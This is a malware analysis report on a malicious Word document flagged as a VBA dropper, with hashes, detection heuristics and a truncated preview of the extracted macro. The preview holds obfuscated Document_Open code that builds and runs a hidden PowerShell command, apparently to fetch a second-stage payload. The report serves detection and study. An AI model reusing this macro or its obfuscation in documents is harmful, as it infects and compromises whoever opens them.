Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9030d82f02596c13…

MALICIOUS

Office (OLE)

299.5 KB Created: 2018-07-12 08:09:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: e45258cb09c773ba8f161679570b5eaf SHA-1: 21f33f799faa918c97108f9f40f5266142748f0d SHA-256: 9030d82f02596c134c286fd696b932d5eeab717b76187323e5eaa855d3883ee3
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute code. This indicates an attempt to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6608514-0' further supports its role as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6608397-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6608397-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35981 bytes
SHA-256: 7b7259909594a6dbac8b64efaab72de654b41d9bd20be1fb4c22a52f3b0c2290
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PwIiZFLjj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   qfoTY = (DmLSwE * lXEjwA - CKomAS / PfzSNA - (17269 * 91089))
   GCoHL = (lEnpTQ * fkDfS - AqTnF / TZmzFO - (23821 * 71065))
JvcCUNatm = Application.Run("FwkFJGUqUoiTF", "" + TPiXrZlKwn + ftaCDjr + MWNQjBBmLC + Ymajtzt + AmnJb + UUKLLHjn + vjcYL + DzzBG + VfMMBFhC + OQEREzm + VcdUv + bBQEcwqROrq + AMpZMthmHi + jwqGV + tQjazFLzp + OpwYNcCbmP)
   rawGib = (fzSXJ * moAlI - PtvKwz / Ajijbz - (21916 * 75592))
   ShnVNi = (XZvhq * YsDskz - bwKIGF / rhizBE - (95804 * 13907))
   BzcWiF = (wSpJb * BqdZSk - PBHBaX / TrZwbz - (78562 * 99670))
End Sub


Attribute VB_Name = "bBXzdAcOdtBFYE"
Function MWNQjBBmLC()
On Error Resume Next
kSZbkf = klmPJ / fWYEz + 41056 - ZUBHTL - caDDHl - UFDZL + (tWijv * JcfzLX)
   bUorl = YrjFMp / akuAEv + 35197 - jkWRKr - dwTaZa - EXcAw + (HGPVKr * HBVPWR)
   zfZMU = (73493 / VznVh + bGrvWU + 35429)
jCDCpCrdl = "" + PQSHZslJhi + MKQVinDhCq + "PoWe"
fSZzGW = (45099 / 66047 / 77797 / pBwBXE * (kNBiZp + QYdEsj))
   lBKzc = (85101 / 62404 / 21053 / oFokR * (YINwBn + zROcj))
   wRrWj = (80104 / 57288 / 90786 / qTfHz * (HZNlsS + OGcfii))
DFNTipHMWl = "" + FhdFiKBYmGSmn + mQhVffzH + "RSHe" + DkuAHvCwA + duLwXpzlAwaASt + "LL  " + XnKIalq + HXfLQqnrLJ + " " + Chr(34) + "& " + ZHpzVsRckc + ufIpGYsDkXQRT + "( " + GnIGkviwjUKE + wofPqRlhzl + "$pSh" + TmBqXivIL + VXuPjbUvTwi + "oME"
lCdJwY = WSTbsw + wjIlOI + JrvBE * cqTSp + TFVAm + mzGDE
   klXPK = QcWcK + HuRNjw + msdkb * WbbJFF + diTVEa + EYXwc
RQRusZsVR = "" + PVmZEDfiHAw + loTQWYEdawJFp + "[2" + UjIQNsMGX + jwzMUIr + "1]" + kEfGmOAoY + OHRKasfWvY + Chr(43) + "$P"
kUpGdO = BOUddQ + BiwrY + uMmbjp * ccUZuB + ulzIX + wbFtdn
   qAXDA = CYiNZ + dAYtvj + IGPhqU * lSHszt + LlbzWt + FWDjjk
   DLwuKl = aThjB + jQpPf + ROwwZp * CkMzHk + pPwuC + KsKHPm
JdWAikq = "" + FOTDsihGOZ + ijOWazAaUUuM + "sHOm" + ZEpjmwshiwdD + IJhUwBbJvk + "E[30" + rJAlTGGKFcQhm + BEQtWHdSLmaOv + "]" + Chr(43)
IErzG = jtiWzj + fsAhr + aEfrT * Nrpwts + EpUMq + AGULlX
   MmTmsX = fLdMYU + qrulim + bKfKur * FtuUt + BEVMA + aYirz
vYsTdwGJzsh = "" + PdQztmwk + czjdaRjsiPrlV + "'X'" + JLDwTfrbjqbc + HFQchkDozwM + ") ([" + oDPdIiOj + nIIkWwmzooRWKa + "sTrI" + whUOFkLYDXTNS + rjJcUZzjsKw + "ng" + pRtpUUjjP + DzjjzcZjtIaqA + "]:" + NwBcDGLrjmdit + zcTTYWqT + ":jOi" + lSiKOatri + fmJksFztVzfi + "N(" + wWjZSXfU + ohhVLjnOq + " '"
MWNQjBBmLC = "" + pKjjRrZLSF + AQENRMjFKarvLY + jCDCpCrdl + lJQrIpJLzsBj + tMEljFHW + DFNTipHMWl + HUJOTnV + rZIosnLG + RQRusZsVR + YLDzAjira + aOnOkofurJ + JdWAikq + TOkkXMzV + HzrDUJhow + vYsTdwGJzsh
   nRKVa = zfMAG + DkkQw + fcWbL * qXhTW + CNcGf + ZPwEwp
   BwnSk = lhQSiM + CfCaj + zzsYw * nqjKa + jpzGuj + idaVw
End Function
Function Ymajtzt()
On Error Resume Next
rXkud = hlQIX + OwCEWq + zXIvkS * ziZcv + TlvTw + zLzDh
   szmbW = GViwjb + bRVCMo + JXdBj * GsdwT + zOaMKD + cptpo
CZLkMnAT = "" + ofqwqslNUWkrOs + fcHdlAEKwJLXP + "', " + prKRMmBdiMAGp + okbBJLEN + "('36" + bjwjhNzmivzDb + izZRkuO + "a70>" + VbwOYckiwdlGD + wDTHiLl + "11" + vfMfwctMvKL + jOFLVEzPz + "1x8" + YShbHGb + VTsQFiWkY + "4p61" + luhTFBSqhLLwF + duRFpjcn + ">1" + VpFnhNqoh + lNWFnlCHJWn + "10" + EbSTUJJHlDjMNC + VHXrdshvzCwajn + "f101"
jGjGuW = YIVzJ + tZiCJn + QOVLt * TSLib + KAdGTt + znwjH
   HGcPX = ziRUl + MWCBN + uBzmQ * PJGob + fNSVP + pvLEw
UtBYvvP = "" + UvjjwmkJ + YVpJANQLCzpYF + "a1" + pMRNqDTD + TdZrphVAbzuXfv + "19:" + mdiTwpqZHZTwW + RiLjkqU + "45z1" + UYitNRhWP + qVoCimAjP + "11>9" + dnrcpUPNzS + zYLwMqswj + "8!10" + PwtJCzqkzE + qBkbNHCEwbEpiS + "6>10" + tXRsJRcjwKNPG + MEdVucOfp + "1f99" + YorEfjHCq + CkZZDfCtmwQJ + "z116" + AzwLisbPusoo + dIDqqZCtvVY + "x3" + vqRHiwTilLr + LmqjkOnWPiuZ + "2p78"
QKfAGr = (53885 - bsPTa - 62958 - XROSh + (UXrhRR + kWJLTj))
   YPVXji = KFTEmq + AIzMGE + KndINH * piCpT + kfkHf + mBZRTw
   i
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.